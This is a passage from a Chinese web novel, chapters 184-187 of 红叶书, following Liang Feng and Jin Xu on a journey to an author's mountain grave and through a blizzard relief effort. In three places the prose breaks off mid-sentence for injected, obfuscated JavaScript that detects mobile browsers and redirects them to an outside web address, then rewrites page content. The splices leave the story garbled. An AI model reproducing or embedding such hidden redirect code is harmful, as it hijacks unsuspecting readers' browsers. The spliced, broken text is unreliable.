她纠结,眉毛都皱在一起。 “你若是实在不愿意,可以用布挡一挡,我带了一张席地睡觉用的垫布。” 她眉毛皱成川,看了看他还是道:“算了吧,怪麻烦的。” 她边走去树林边小声嘟哝:“这种事情,一回生二回熟。” 梁风站到荆风旁边,靠荆风挡住不看她。 等她解完手,再接着上路。 184. 《红叶书》(一零四) 洗澡方面更加麻烦。 头一天晚上她说不用洗。 第二天晚上她也说不用洗。 直到第三天,遇上一条河,梁风脱光了跳进河里洗了个澡,于是她说她也想洗。 “我是早有准备的。”梁风道。 “怪麻烦的么?” “还好,你先烧水。” 出发前他专门找人做一张很大的牛皮袋,圆筒形,长度到她的下巴,装水不漏。往袋里装了水,她站进袋子里就可以洗洗澡了。只能简单洗一下,这是他能想到的最便携的法子了。 河水是流动的,梁风先将袋子简单冲一遍,再装了小半袋河水,把袋子拖去今夜过宿的山壁。 山壁内陷了一个大角,角里可以略微遮挡风雨。梁风在最靠角落的山壁上挖出一个石槽,牛皮袋子的抽绳用石槽卡着,袋子便竖了起来。她得先解下袋子,站进去后将袋子挂好再洗。 热水烧好了,金絮自己兑水温。梁风将那张睡觉用的垫布两头挂起来遮住这个角落,她就可以洗澡了。 “你的衣裳准备好,中途不要把我叫过来帮你递东西。” “知道了。” 梁风走到山壁外,离不远守着,许多声音是林子间的鸟叫和树叶沙沙声。 确实没有中途叫他。 等她洗完,梁风把一袋子水随地倒了。 晚饭是肉干野菜汤,配一个馍。餐饭缩减到两顿,带的粮食全是馍和肉干香料,野果菜类随地摘,他和金絮都不咋会做饭,煮一锅水,全部食材倒进去弄熟就能吃了。 “你从前出征时都是在河里洗澡的?”她问。 “对啊。扎营前遇上河就在河里洗,扎营后才会钉桶打水烧开了洗。”不过基本不烧热水,全军男人洗澡都要烧水的话,那一整天的时间都得用来捡柴,烧的热水是为伤员准备的。 “几万的人在一条河里洗澡,洗一次,整条河都臭了吧。” 出现一条他没想过的思路。“臭吗?”梁风一下想不起来,“我是没有想过这些。” 吃完饭,金絮继续烧水。她将牛皮袋子折了折,冷热水一兑,坐在火堆边泡脚。 梁风清出一片干净地儿,铺好布垫,摆好睡袋,没什么活动只能早睡早起。 一回头,见她盯着袋子里自己的双脚出神。 “怎么了?” “冒水泡了。” “我看看。”梁风走近,金絮把脚抬起来。脚后跟冒了两颗水泡,红肿了,脚底掌也磨破皮了,两只脚都有。 “走路的时候不疼吗?” “有一点点痛,但不是很明显。” 走得腿都麻了,感觉不到了。“我带了药。”梁风去翻行李,“明天多坐马背上,少走点路。” “要一直坐在马背上吗?”金絮脸丧丧的,“屁股会痛。” 不止屁股,大腿根也会痛,她今天走路都有点异常。梁风道:“你不要跨坐,你侧坐。” 金絮接过药自己涂。梁风出去多捡些柴火回来,她已经穿好袜子钻进睡袋里准备睡觉。 “等会,我来给你揉腿。” 金絮收拢睡袋的动作便停住,梁风坐去她脚边,曲起她的膝盖,从膝盖窝到小腿肚子,一路揉下去。 金絮看着他的手眨眨眼,然后躺倒。 他不是一般地揉,是用内劲揉按穴位的手法,明天她的腿会舒服很多。 揉着揉着,梁风一抬头,金絮睡着了。 他还是有疏忽,忘记准备滋补的食材,不然像这样赶路,光是按摩可不够,身子吃不消的话就得在路上停下来适应了。 之后路过县城得进城买点了。梁风拢拢她掉在睡袋外的头发,徒步赶路是累人的,平常少骑马的人骑久了也是累人的,不过累一累,她能睡好点。 暗卫在外会轮流站岗,梁风拨拨火堆,和她一起睡。 睡得早,醒得也早。 醒后过一个时辰再吃早饭,收拾好睡袋行李,牵马上路。 他牵着两匹马,慢慢穿过这座山,偶尔回头,见她竟然躺在了荆风背上。 头枕着马颈,缩着的双腿靠着马尾挂的行李,以一种十分微妙的平衡躺着了。歪斜的斗笠搭在头上,清晨的阳光尚不刺眼,她在看《豪侠传》。 看起来惬意得很。马鞍是软的,他特意给两马换了加宽加厚的棉垫,不滑,她此刻能躺得稳。 荆风甩了甩鼻子。 “你要是掉下来的话,往我这边掉。”梁风道。 金絮歪头看了他一眼,然后翻了一页书继续看。 过了午后,她说什么都要下马走走。 荆风忽然嘶鸣一声,梁风便检查一圈行李,发现他的佩刀不见了。他四处找一找,转眼看见佩刀变去了她的腰上。 梁风瞧她那从侧面看比刀柄粗不了多少的腰身,没说什么。 第二天她果不其然腰疼了。 一早疼得爬不起来,金絮在睡袋里扭来扭曲地哼唧。 “活该。”梁风道。 “哼。” “我可以帮你揉一揉。”梁风老实道。 她犹豫了一瞬,很快同意:“行。” 佩戴重物后导致的伤痛从外面看不出来,不理它过两天也就好了,但是按摩一下能好得快点。 梁风解开她的腰带,找准她昨天佩刀的左腰位置,隔着衣服开始揉。金絮不好受,又痛又痒。 “痛就忍着,淤血揉散了明后天就好了,晚上入睡前我再帮你揉揉。” 她苦着脸。梁风看她这毫无锻炼痕迹的腰,说道:“前两年你大病一场,后面是不是根本一直就没有胖回来?” “你又问。”她力申:“胖回来了。” “是么?”梁风小声:“不像。” “生病之前我就是这样。” 梁风一想也是,她就是不结实才病的。 “可以趁这趟出行锻炼一下,你双腿的肌肉也没力气。” 她才不理,全凭自己乐意。 接着走了十来日,十月即将过去,气候尚未大降温。 梁风这日为她准备牛皮袋子洗澡,一边同她道:“再过段日子天气冷了,洗澡的时候容易受冻,次数就要少下来。气温降低,个把月不洗澡都没关系。” “嗯。”她应道。 这天她还洗了头发,梁风也洗了,晚上和她一块坐在火堆边烤头发。 她拿着块布擦擦擦,衣袖滑下来,露出小臂侧面一道红痕。 “这是怎么了?”梁风问。 她擦好头发,发巾递给他,看了看小臂侧面,“哦,是那个牛皮袋子太粗糙了,洗澡的时候就磨到得。” 梁风凑近细看,红痕没见血,不严重,过个一天也就消了。 原来是这样,他还奇怪来着,她原本是能忍两天不洗的,怎么后面变成能忍五六天不洗澡了。 他没想到这个,那袋子内侧涂了一层油用于防水,看来是涂薄了,也没想到这种程度的粗糙能磨红她的皮肤。 “干嘛不告诉我。” “告诉你也没用啊。”她放下袖子,“有得洗总比没得洗好,我难道要去河里洗?” “不能下河。”他那帮暗卫在四周守着呢,梁风道:“后面路上会遇到县城,进了城里我就给你换一个。” “换也换不得更好的吧,能凑合用就行。” 又行两日,终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839919|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇到一座县城。梁风入城,找了家客栈歇脚。 他开始补给物资,补点吃食和水煮的药材,还有月事带之类。 牛皮袋子确实很难找到更好的选择,用别的都难以替代。梁风只好给袋子内侧多涂一层油,将就凑合了。油还不能涂太厚,不然也会污染她的皮肤。 金絮觉得没什么所谓,只在城里休息了半天就嚷嚷着要出发了。 “要不要换马车?你赶路能舒服些。” “不要。”她立誓:“我也要变得粗糙一点。” 梁风如同她一般敏锐地抓住一个字的重点,“也?” 然而她才不理,只顾自己说得爽。 继续行几日,到了十一月,走到这条路上第一座郡治,载平郡。 郡内正值花期美景,金絮这次愿意留下,多留一日,不催促他快走了。 再往后能遇上的郡县就少了,除非特意绕路过去,否则只靠顺路是不能入城补给了,梁风便和她一起买了两件厚衣裳备用。 十一月过中旬,路程尚未近半,气温在一夜之间降低。 十一月底,到达铭郡,离开太南后的第一场雪下来。 金絮泛舟湖上后病倒了。 梁风原地入住客栈,找了大夫。 “笑长生的祭日要赶不上了......”她躺在床上迷迷糊糊。 “赶不上便赶不上了,心意到了就好,你先安心养病。” 她还想说什么,晕晕乎乎地说不出来。梁风点炉,屋子里熏得暖烘烘。 “你又生病了。”梁风摸她的额头,温度很高。 她烧了一整天,隔日温度才降下去。入了夜没有复烧迹象,梁风松口气,病势汹汹,好在不险。 “你必须要锻炼起来,不能再生这样的病了,你看我生过病没有。” “你结实。”她可以自己喝药,裹着被子喝药。 “你也要结实。” “慢慢来吧,离开温柔馆这才几个月呢。” “为什么不能在铭郡过冬。” “心意要到的话,就不能太懒。”她道:“我们已经迟到了。” 养病耗时半个月,离开铭郡前,梁风换乘马车,荆风和木果拉车。他给马车加装好外部遮挡风雪的牛皮罩子和车轮锁链,添置车内一应绒毯火炉等保暖之物,车尾厢备了足够多的粮食,行李极其沉重了。 梁风驱车,颠簸地走山路,金絮和他并肩坐于车舆,衣裳穿得很厚实。 “如果没有你,我这一趟肯定走不成。走到半路我就得回太南去了。”她道。 “你看我多重要。” 金絮扭头看着他,“仰仗洪公子照顾。” 梁风接收到她神情中的认真,心里想了想,也认真说道:“你还记得刚出发时我和你说的‘早有打算’吗?” 金絮一瞬疑惑,回想过后,神情不太确定地点头,“嗯。” “有没有起效啊?”他问。 金絮没说话,但明白了他说的是什么。 “想必是没有的。”梁风答。答完余光偷偷瞧她的反应。 “应该也有一点吧。”他又答。答完余光偷偷瞧她的反应。 然而金絮对两种回答都没什么反应。 梁风胳膊戳戳她,“我的‘早有打算’已经做完了。我只是把我的心思都告诉你,起效与否,你可都不能就此跟我生分了。” “好好好。”她冻得吸吸鼻子,“话都让你说完了。” 梁风心里嘿嘿,话都让他说完了也是在他的“早有打算”里面的。 不过,他的“打算”也就到这里了,在她心里的分量有没有更重,明面上都要停在恰到好处的地方。 185. 《红叶书》(一零五) 行至小寒这日,终于看见支郁山。 一座庞大的山系,隔绝飞鸟与人烟。 入了夜风雪骤大,梁风停在林间一小片空地,和最近的树保持几米距离,不靠山壁,为马车加罩锁轮,撑过这夜风雪。 他们和暗卫的马车围城一个圈,圈中间卧着荆风和木果。梁风给荆风木果盖上加厚的大布毡,马身上也穿了衣服。 梁风进车,锁住车门。金絮拿出后车厢的小火炉点燃,车内有暖光。 金絮铺好毯子,腾出一半位置,递给他热水袋。梁风喝了几口道:“睡吧。” 金絮躺下,盖着被子缩在车壁角落。梁风将小火炉挂到车顶,车顶开了一条小缝给火炉通气。 车厢足够躺下两个人,一人一床被子,不算挤。她裹着被子缩成一团,闭眼睡觉。 梁风没有刻意贴着地贴着她躺下,借着炉子的火光看她,听她的呼吸逐渐变得悠长,才放心地躺平,睡觉。 睡了不知多久,他睁开眼,车顶炉子的火光弱了,他的大腿侧边多了个东西顶着,车外风雪还在呼啸。 梁风扭头一看,她的呼吸近在脸旁,大腿侧边顶着的是她的脚,他被她的脚冻醒了。 梁风翻身面对她,包住她的脚,继续睡。 醒来风雪停了。 她还在睡,脚是暖的。梁风把被子盖到她身上,出到车外,车轮子被雪淹了一截。 暗卫也陆续醒来。梁风清雪扫出一块空地,架两锅烧水,水里加肉菜和油,煮着。 他给荆风和木果喂食,等锅里东西煮好,金絮也醒了。 吃过饭,梁风道:“支郁村应当就在这座山里的某处地方,笑长生的遗宅和墓碑应该也在这里,马车上不了山,咱们骑行吧。” “好。” 金絮备好热水,和他一块骑马上山。暗卫散开四处搜寻房屋人迹。 “今年要在支郁村过年了。” “也可过冬。”他道。 “希望不会大雪封山。” “封了也不要紧,支郁村最近的白沙县,骑马一个时辰就能到,封山的话我们不会被困在山里。” “嗯。” 沿着山路往上走,看见的天光越不透亮,乌云渐重。梁风目测,“又快刮风了。” 林间响起一道哨音,细锐清远的哨音穿过光秃的树林,辽阔地四散。金絮听见了,“找到笑长生了?” 梁风回音,“找到了,走吧。”他引着她的马向发声处骑去。 是山势往下的方向。没骑很久,穿过挂雪的树枝,走到山路开阔的地方,一眼看见前方伫立的一栋房屋。 房子背靠山石,石头挡了大部分风雪。雪淹屋子门前,堵了门。房筑相当旧了,屋脊与顶柱有些歪,马上要塌的样子,幸而山石为房子加固了地基,居然没塌。 “笑长生住处居然位于山沟。”梁风诧异道:“幸好昨夜雪还没那么大,不然能把屋子给淹了。” “快去看看。”金絮拽着他快走。 山沟的积雪很重,淹没小腿肚子。梁风走前开路,两匹马淌雪走到笑长生屋前。 想必屋子外面本来有个小院子,还有篱笆,但都被雪淹了,篱笆也被压塌了。 梁风掰门,门被掰断了。他将屋前堵门的积雪略微推开,打开没被雪淹的顶部半扇门,屋里一股冷冻的霉味散发出来。 屋子是空的,只剩几件残缺的大家私,其余东西基本被村子的居民搬走了。屋主人死了,屋子就被瓜分了。 金絮走去房子后面,暗卫发现了笑长生的墓碑,矗立在这座破败的屋子后。墓碑只露出一截碑顶,她拂净碑顶的雪,只能为笑长生简单扫墓。 “清明离得不算远,您就当提前了。”金絮为笑长生敬酒,碑前献上一本《豪侠传》。 梁风站在后面看她,碑题江海之墓,笑长生的名字叫江海。 不远千里献书,面对素未谋面的著作家,其实也没什么话说,表达一番敬意与崇拜也就够了。相熟的是书籍,不是阴阳两隔的人。 梁风与她并肩,一起献上敬意。 若说感谢笑长生,他最感谢的是有《豪侠传》这本书,因为才有和她一起写《红叶书》的契机。不过哪怕没有《豪侠传》,和她之间发生的事情也还是会发生。 更重要是和她一起来这一趟的路程。梁风牵住她的手,“去屋里看看。” 遗宅徒四壁。 从只开了一半的门进去,金絮很沮丧,“山沟里的屋子容易被雨雪淹没,没人愿意住,于是屋里的东西被人搬空了,只留下壳子。” “村子不在这,笑长生远离村子独居,这是为什么?”梁风看了一遍,屋内不大,厨房有个灶台能生火,没锅。 “不知道。”金絮道:“但我感觉笑长生是孤独的。他笔下的主角大多年少离家,身边几乎没有家乡的朋友,故事里交情深刻的友人基本是离家后遇见的。” 梁风认同,“我也记得。哪怕主角身边有个家乡的朋友,到了故事最后,这个家乡旧识多半也是个坏人。” “笑长生不喜欢他的家乡。可他临死前还是回到了家乡。”金絮翻拣厨房角落一堆断裂的木头,像是拆碎的家私,只能用作柴火。 “会不会有笑长生的手稿?” “应当不会吧。” 结果让她翻出来了。 一堆碎木头里面夹着几张碎纸,纸上是手写痕迹,木头更深处还有一个木盒,盒里装着更多泛黄的纸。 “是笑长生手稿!” 金絮翻了几页,居然从那些凌乱互叠的字迹中看出内容。梁风看了一眼,没什么兴趣多看。 “此行有收获。”她美滋滋。 又从门洞钻出去,金絮把所有碎纸收拢起来,将木盒妥善放进荆风的行李内。 “下山吗?” “下山吧。”她道:“今晚在哪里过夜?” “找到村子的话可以去村子里过夜,也可以去县里,山的另一面还有个寺庙。” 村子不好找,一般沿着河流一定能找到的,但现在一点水流都被封冻了,溪流在哪都不知道。 “那去县里吧。” “好。”去城里好。他原本打算如果在山里过夜的话,就给她钉桶泡个澡,去城里就不用钉了,也不怕她受寒生病。 天色变得更暗,梁风抓紧牵绳,扶她骑上木果,准备返回找到留下的马车。这时听见暗哨,他往树林看去,林子深处走来三道人影。 三人正在下山,身形挺大,似乎带着包裹。 “有人来了。”梁风上马,心里警惕,“暗卫一直没有找到支郁村的位置,前夜刚刮过大雪的山里的居然出现行人。” “谁啊?”金絮看不清那么远,“是来避雪的吗?” 三人渐近。是两老一少,一家三口。 年纪最长的老人家看见他和金絮,脸上带笑说了什么。 梁风和金絮对视一眼,没听懂。 小孩被大人推出来,瑟缩地看了眼梁风,又看看金絮,对着金絮说话。 “这孩子说的是官话。”金絮道。 是带口音的官话。梁风听半天,听懂大概意思。 支郁山的村子被雪淹了,村里的人逃出来躲灾。然而他们舍不得家当不愿意走远,全村人躲进山顶不要的寺庙,等待县里帮助。他们一家子是寺庙实在塞不下了才想来笑长生这间遗宅看看。 “村子被淹了。”金絮道:“你的暗卫找不到村子,村子被淹了当然找不到。” 梁风打哨吩咐暗卫沿着山沟和山脚搜索。 小男孩双手比划地表示,“别的村子也淹了,附近的村子。” “我们去看看。”她道,并和小男孩说他们最好不要住在笑长生的遗宅,不安全,遗宅容易坍塌,县里很快就会带着救援的人上山。 她着急骑木果往山里去,梁风拦着她,不断吹哨,直到山林深处有哨音回应,才带着她往暗卫传音的方向骑去。 “县里怎么帮助?县丞难道能把整个村子挖出来?”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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金絮向村民打听雪灾情况,和其中几位较年轻的人谈话。 支郁村很小,村民不多,只有几十户百来口人,但不是附近最小的一座村子。最小的村子早在雪灾前就暂时搬去县里过冬了。 梁风担心晚些时候再次下雪,大雪封山没法进城,他指挥几名暗卫照顾好村民,其余暗卫去拿回停在山脚另一头的马车行李,牵了马和金絮道:“我先送你入城吧,这些村民的援助我去找县丞想办法。” 金絮有点犹豫,但是听他的话,“好,那我去城里帮忙。其他村子已经有灾民进城避灾,城里说不定分不出多余地方安置灾民了。” “进城再说。”梁风扶她上马,和她共乘荆风。 荆风马力全开。进城有一条村民常走的大路,这条路上除了积雪外基本没有阻碍,荆风一路越跑越快。 速度过快,冷冻的风割脸,她裹着斗篷坐在前面,反而帮他挡了风。梁风双臂一边握缰一边控住她,防止她在荆风跳跃时飞起来。 两侧雪地时不时能看见一只埋在雪里的手或脚,一闪而过,有的雪薄的地方还能看见雪下人形的轮廓。 梁风感到金絮在不断后靠,往他怀里贴。担心她看见冻死的尸体会害怕,便将她头顶挡风的斗篷帽子拽下,遮住她的视线。 骑过支郁村的牌坊便不再见尸体。一个时辰后终于进入白沙县,她快被颠散架了,梁风抱着她下马,就地找了家客栈。 马上入夜了,没有行李,梁风将身上所有的钱财给她,以防万一。 金絮看着他留下的零零碎碎的钱币,道:“朝廷送过来的援粮一定会被克扣。朝廷可能都不会送钱粮到地方。” “那我们不指望朝廷,白沙县肯定有自己的囤粮。” 她点头,“不能指望朝廷。” “我将十三留给你,供你使唤,你出门的话不要跑远了。” “不用。我又不需要人使唤。” “有人陪你多好。”梁风握握她的手,“你今晚记得泡个澡,别太晚睡,我就住在你隔壁,我可能晚些回来。” “知道了。” 186. 《红叶书》(一零六) 进城不久,天空彻底黑了,再次下雪。 梁风去县衙,出示身份令牌,县令诚惶诚恐。 “今年不知怎了,风雪格外大,往年积雪最多半臂多深,今年这还没到正月,积的雪都快一臂深了。” “县里囤粮多么?” “囤粮不多。今年秋收不丰,倘若附近受灾的村民都避来白沙县,县内人口翻一番,且无郡里援助,囤粮最多撑一月。” 只有一月,冬天都过不去。梁风发愁了。 县令道:“殿下,眼下最要紧的不是缺粮,而是缺人手,山路无人疏通便无法救出被困在山里的村民,还有城里几处旧屋昨夜被雪压塌了,缺少房屋,收纳了灾民无地安置,县里的碳火柴薪也不足够。” 梁风愁眉苦脸。 “是朝廷派您来援助的吗?”县令问。 “......我不是......” “哦,如此......”县令礼着,低下头想了想,“每年天灾都有许多人死去,今年或许是人数最多的一年吧。” “郡太守没有办法吗?” “大雪已经封住山路,信鸽难以飞越,县内灾情无法传递出去。” 梁风一惊,“太守还不知道白沙县的灾情?” “应当是知道了。”县令语气不肯定,“虽然无法传信,但这场雪之大,受灾范围肯定不小,便是猜也能猜到了,郡里肯定也遭了灾,胡太守自顾不暇。入冬前两月,郡府下发文书,指示全郡为过冬囤粮碳,可能郡府以为地方村县自有余力维持而不多管。” “朝廷会出手援助吗?” “朝廷有心无力,离得太远,路上物资损耗太大。朝廷为尽可能减少沿途损耗,往年援助物资多是开春后才开始运送。” 梁风皱眉,“等到灾后,人都死完了。” 县令点了点头,“不能等别人来救,白沙县只能自救。” 县令话音低缓,下巴的胡子比积雪暗淡,片刻看向梁风道:“殿下现住在何处?下官有处宅子可供您暂居,只不过小了点儿。” 梁风刚要回绝,想到金絮,便应下来。 县令躬身道:“王爷您莫怪,那处宅子下官只能给您一间较为宽敞的独立厢房,其余主屋和偏房需要供给灾民暂居,县里别的收容灾民的地方全都住满。等雪停了,临时住处搭建完毕,下官会将灾民转移出去。” “可以。我只和我的人住一间,多余的提供给灾民居住。”总比住客栈要好。 县令感激躬身,“是。下官派人为您指路,您今夜便可住进去,宅子里一应俱全。” 窗户外面风声骤起,携带雪花转眼间变大。梁风担心金絮,急于回去看她,最后道:“支郁村民怎么办?” 县令作揖,“殿下,光是安置灾民已经调不出人手,只能等支郁村民自己下山避入县城,县里会尽可能收容他们。” 山里的人不会活不下来吧,他的部分暗卫还在山里。梁风赶紧回客栈,今夜一场雪下完,许多山路封堵,救人必须趁早。 他到了客栈,却没看见金絮,十三也不在。 等了一刻钟,她回来了,带回来一身寒气。 “去哪了?不是说不要跑远吗?你一口一个‘知道了’,你看看你回得比我还晚。”梁风质问。 “我出门去找白沙县的商户。” “找商户干什么?你想在白沙县做生意?” “不是。”金絮抖落头顶的雪,脱下斗篷烤火,“我发现白沙县本地商户做的都是小本生意,行商很少,几乎不和外地商户交流,钱财没有流通起来。如果白沙县衙钱粮用尽,是没法靠当地的商人捐钱了。” 她想到了这一节,是不是因为有京城的前车之鉴。 金絮拿出梁风出门前给她留的钱币道:“我不懂赈灾。但我还有点钱,可以给县令拿去用,只不过我的钱放在山里的马车里面了。” 梁风捏捏她的小指,摸手温,“有钱也没用处,雪灾当头没有人会卖粮食,都攒着自己吃了。若是高价买,你那么点铜板也买不着。” 她的指尖很冷,梁风搓搓给她暖指,“这间客栈很快会挤满避难的人,县令给我们安排了一处宅子,我们搬去那里好不好?” “给你安排的吧。”她没答应,抽回手指自己暖。 “给我或是给你,我们两个有区别么?” “当然有。”金絮烤着火,也不看他,道:“我叫金絮,你叫梁风;我是女的,你是男的;我长这么高,你长这么高。”她单手比划,“我是普通老百姓,你是燕国诸侯王;我是风尘女子,你是皇亲国戚;我想去哪里去哪里,你一辈子困在京城;我想干什么干什么,你要干什么得听圣旨下令。” 梁风沉默地看着她。 她连连点头,“我们区别挺大的嘛。” 梁风继续沉默。 她眼瞧他的反应,神情自然地接着烤火,并不对他的反应表示反驳。 梁风拿来她的斗篷,一把将她兜头罩住,赌住她的话,拽着斗篷强行牵她走。 推着她上了马车,驱车去往县令提供的宅子,她在斗篷里面咳嗽。 到了地方,梁风拽她走进去。 三进的宅子,围墙不高,挡不住大风大雪。县令已经在了,看见他,殷勤地引他去到一间独立的厢房。 厢房自带小厨房,房内分大小两间,可以男的一间,女的一间。空气中有股柴火味,收拾得不算很干净,落了一层灰,床铺是整洁的,被褥足够厚实,只点了两支蜡烛。 居住条件不是很好,梁风看着没说话。金絮却觉得不错。 县令弯腰在小厨房扒一扒柴火,扒开一个通往地窖的暗道。 县令道:“王爷,县里囤粮狡兔三窟,一部分就藏在您这房里的地窖内。下官安排您住在这也是希望您能守着这些粮食。” 梁风往地窖里看,一片漆黑什么也看不清,能闻到一股浓重的粮食味。 “这些是后备粮,到了雪灾后期,县里百姓为了争夺粮食互相斗狠,后备粮是全县过冬的唯一倚仗。”县令看着他认真道:“县里的兵士身手恐怕都不如王爷带来的人,若王爷愿意守着这些粮食,下官感激不尽。” 梁风看了看金絮,金絮没有反对,他道:“当然可以。” 县令躬身感谢。 县令走后,金絮收拾床铺,梁风问她:“不会小了点吗?” “不小。这里原本应该是给厨房伙夫居住的地方,很好啊。” 金絮手指点点他,提醒道:“你忘了你现在是洪叶生,不能凭借身份获得优待。” 梁风张嘴想说话,不知道说什么,转头去厨房开锅烧水,装了一木盆热水给她。 “你泡个脚就睡觉,我待会出去一趟。” “你还要出门干什么?” “找回暗卫,雪大起来前他们应该下山了,我去接应他们。” 她道一声好。 梁风就要走,忽然间想到该怎么说了,回头告诉她:“你刚才一箩筐的话说我们之间区别很大,但是,洪叶生既然不能凭借身份获得优待,那和你有什么区别。” 他说完不等她回答就走了。 外面风雪更大,一出门,狂风像一张巨掌照着全身拍过来。出门几步,身上便穿了一层雪衣。 风声大得听不见旁人说话,乌云避空,梁风仅能依稀辨认身侧暗卫举的油灯。他和暗卫每人携带几个热水壶,捂好口鼻,飞奔去往城门口。 留在山里的暗卫肯定已经下山了,因为不熟悉白沙县,应当进城后原地等待接应。 他按记忆辨认大致方向,摸黑赶到城门口。夜晚漆黑的风雪中,模糊看见城门附近几点微弱的火光,和停在旁边的马车。 下山的暗卫看见他立马上前道:“王爷,寺庙遭遇雪崩,只带出来这些人。” 车内行李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839921|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全扔了,装的是村民,八九个成人,五六个小孩,还有一个婴儿,塞满了,全部人脸色冻得发紫,婴儿抽噎地啼哭。 梁风将热水袋递给孩子和暗卫,听暗卫道:“原本车顶还挂了两个人的,路上滑脱掉落山崖了。” “是我下令疏忽,我应该让你们早点下山。”梁风紧紧皱眉道:“风雪太大,不能返回山里找人,等风雪小了再做打算,先带他们回去。” 马车的两个轮子半路碾坏了,下山的三个暗卫是抬着车子走的,手掌已经冻裂。他们拎灯,梁风在前头扛着车舆带路,努力辨认来路回到县令的宅子。 宅子的灯火比他走时亮了一些,院里停了两辆县令的马车,空着。梁风想将这一车村民安置到偏房,打开门,房里却卧着别的村民,或躺或坐地塞了一屋子。 县令已经将灾民安置过来,几间偏房塞满了人。主屋还未满,梁风安排支郁村民住进去。太过空旷的屋子住起来会很冷,不如偏房人气足。 梁风在主屋里听见金絮的咳嗽,他循声一看,金絮在主屋角落架了一口锅煮水,水里加了驱寒的药材和小米。 金絮看见他,“你也喝一碗。” “你出门时买的药材?”他往锅里瞧。 “嗯。偏房里的人都喝过一碗了,他们肯定能撑过今晚。”她道:“灾民们送来得急,这锅药水煮得也急,煮到这会药材才煮出效果。” 她递给他一碗,梁风接了,她也给自己盛了一碗,梁风和她并肩一块喝。 “之后要节约吃粮食了。” “嗯。” “一天饿一顿也没关系。” “不用饿。” 喝完了,主屋和几间偏房都熄了灯,金絮收拾了被褥准备睡觉。 梁风就着煮药水的火烧水,又装了一木盆热水,端给她,“泡脚。” 金絮爬上床了,瞧着热水盆嘟囔:“又泡?” 她裹住棉被准备泡脚,梁风坐远了道:“这样泡过脚之后,夜里睡觉还会脚冷么?” “会。” “还会啊?” 她扭头过来,“你怎么知道我睡觉会脚冷?” 梁风眨眨眼道:“昨天晚上在马车睡觉,你把脚钻进我的被子里,贴着我的腿,把我冻醒了。” 她一呆,似乎有片刻想象,“然后呢?你冻醒了然后呢?” “我把你的脚夹住继续睡了,早上醒来你的脚是暖的。” “夹住?”她懵了一瞬,然后缓缓低头移开了视线,“......哦,谢谢,下次不用了。” “......我骗你的,我把你的脚踢回被子里去,才没有多管你。” 她这间屋就点了一支蜡烛,脚盆的位置看都看不清,梁风哪儿也不看。 金絮眼角偷偷觑他,张嘴想说什么,但是没说,若有所思片刻,低头看盆。 自己的脚有什么好看的,她也不缓和气氛,梁风起身道:“我也睡了,你赶紧睡觉。” “你和暗卫睡在外面?”她问。 “嗯,有事情喊一声我就听得见。” 金絮目不转睛看着他,梁风停顿了,问:“怎么了?” “外面的床铺不够睡吧。” “挤一挤。” “哦。”她颔首,接着道:“在马车睡觉的时候,我们是一人一床被子的,为什么我的脚会伸到你的被子里去。” 他哪里知道。 金絮自己点头,“昨天晚上我睡得挺好的。” “怎么了?”梁风注意到她的欲言又止。 金絮抬头,直言问:“要一起睡吗?” 她语出惊人,梁风硬生生止住差点脱口而出的“好”。 也不是什么脱口而出,是差点答应她的所有要求。他定定心,咳嗽一下,认真问:“你希望我帮你暖脚?” 她点头。 他恐怕要成圣人了,无欲无求的大圣人。 187. 《红叶书》(一零七) “那我们要盖一床被子么?” “一人一床被子最好。”她有底线,“但是棉被不够,派发给灾民了,我们只能一起盖。” 梁风咬牙,“我就是个暖被窝的工具。”他认命上床。 “不止是暖被窝,外面确实睡不下,你的暗卫有八个人呢,他们睡觉都得挤一块。” “是是是,你倒贴心,还想着他们。” “我又不介意。”她安心躺下。 梁风熄了灯,屋里顿时黑得一点光都没有。金絮当真开始安心睡觉,窝在他的手臂旁边,似触非触,呼吸缓慢悠长平稳。 梁风躺得平平的,没有多紧张。以他的警惕心来讲,她稍微动一动,碰一点点过来他就会醒,醒了再把她扒掉。这样也行。 听了一会风声,金絮睡着了,梁风双手交叠胸前,伴着她的呼吸睡觉。 梦里他身处豪侠的世界,有个江湖武士正在攻击他。江湖武士手持一支很长很粗的毛笔做刀,凌厉的刀锋向他攻来,他无处可躲,刀锋攻击到他身上却像石子一般轻盈。 梁风睁开眼,屋里仍是一片漆黑,难以判断时辰,但他睡得好沉,想来已经天亮了。 屋外狂风呼啸,声音之大竟然没有半夜惊醒他。 他醒醒神,侧头一看,看不清楚金絮,耳边的呼吸声模糊了。她是背对他。 梁风十分骄傲,什么姿势睡着,什么姿势醒来。 他想下床开门看看,手往床边一抓,发现他的位置离床边远了。 “......”梁风若无其事,离了被窝,身上冷得变成一只鸡。 穿好衣服,给她掖掖被角,出去外面,暗卫们零星醒了几个。他想开门,门刚打开一条缝,迎面割来的寒风几乎夺去呼吸,雪花就盖在了脸上。 梁风赶紧把门关了,发觉不对劲。 门外天色仍很暗,风雪吹得门不能打开,看这情况在雪小下来之前无法出去,被困住了。 今年的雪异常猛烈,梁风回到房内,想想该怎么办。 